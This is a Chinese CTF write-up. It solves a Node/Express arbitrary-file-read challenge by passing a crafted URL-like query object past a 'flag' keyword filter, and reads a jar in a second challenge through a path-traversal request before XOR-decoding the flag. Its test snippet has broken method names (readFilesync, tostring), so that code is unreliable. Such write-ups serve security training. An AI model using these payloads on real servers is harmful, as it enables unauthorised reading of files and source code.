Web
express fs
考点:
任意文件读取
原题,参考链接:https://pankas.top/2022/06/04/corctf2022一道有意思的node题/
现在复现,来研究一下这个题目
首先先审计一下源码
const express = require("express");
const fs = require("fs");
const app = express();
const PORT = process.env.PORT || 3000;
// 设置静态文件目录
app.use("/static", express.static("static"));
// 中间件:检查请求中是否包含 "flag" 关键词,防止恶意攻击
app.use((req, res, next) => {
if (
[req.body, req.headers, req.query].some(
(item) => item && JSON.stringify(item).includes("flag")
)
) {
return res.send("臭黑客!"); // 如果包含关键词则返回提示信息
}
next();
});
// 处理根路径的 GET 请求
app.get("/", (req, res) => {
try {
res.setHeader("Content-Type", "text/html"); // 设置响应头的 Content-Type 为 text/html
res.send(fs.readFileSync(req.query.file || "index.html").toString()); // 读取指定文件(默认为 index.html)并返回给客户端
} catch (err) {
console.log(err);
res.status(500).send("Internal server error"); // 发生错误时返回 500 状态码和错误信息
}
});
app.listen(PORT, () => console.log(`express server listening on port ${PORT}`));
这是一个用 node 写的一个简易 web 应用

发送 get 请求查询可以读取指定的文件

但是 flag 关键字被 ban 了

由于这里 node 并没有那些伪协议可以绕过关键字,所有能想到的只有原型链污染了,但是这里传参只能污染 req.query.file 的 __proto__,由于它没有与任何东西合并,所以这里不能这么做。

参考 P 神的思路,这里正确的做法是利用 Express 对查询参数的处理来构造一个精心设计的对象来绕过。
测试一下:
const fs = require("fs");
let fileUrl_1 = new URL("file://flag.txt");
let fileUrl_2 = new URL("file://flag.txt");
let buf = Buffer.from("/flag.txt");
console.log(fs.readFilesync(fileUrl_1).toString());
console.log(" -----------------------------");
console.log(fs.readFilesync(fileUrl_2).tostring());
console.log("-----------------------------");
console.log(fs.readFilesync(buf).tostring());
复现 P 神的做法,可以看到file 对象满足如下条件
.href存在.origin存在.protocol === 'file:'.hostname === ''.pathname是/app/flag.txtURL 编码的(注意:这需要双 URL 编码,因为 Express 已经 URL 解码一次)
可以得到 payload:
?file[href]=a
&file[origin]=1&file[protocol]=file:&file[hostname]=&file[pathname]=/app/fl%2561g.txt
渗透
拉去大头师傅的镜像
docker pull ccr.ccs.tencentyun.com/lxxxin/public:blb2023_zht5
考点:
- 任意文件读,读取配置文件和源代码 jar 包
GET /readfile?filename=../../../../../../app/demo.jar HTTP/1.1
Host: 10.102.40.21:51180
Cookie: JSESSIONID=B524D517443DEF3E58BB92ACB9B805D7
下载下来反编译,flag1 和 O0O 做异或
import base64
from pwn import *
key = b'6925cc02789c1d2552b71acc4a2d48fd'
enc = 'UFVTUhgqY3d0FQxRVFcHBlQLVwdSVlZRVlJWBwxeVgAHWgsBWgUAAQEJRA=='
enc = base64.b64decode(enc)
print(enc)
# key = bytes.fromhex(key)
flag = xor(key,enc)
print(flag)
# flag{ISEC-52e353a950c752b3dc8f0d1c949f0361}
参考链接:
https://www.yuque.com/dat0u/ctf/zq1s9k9pgcqfrg0s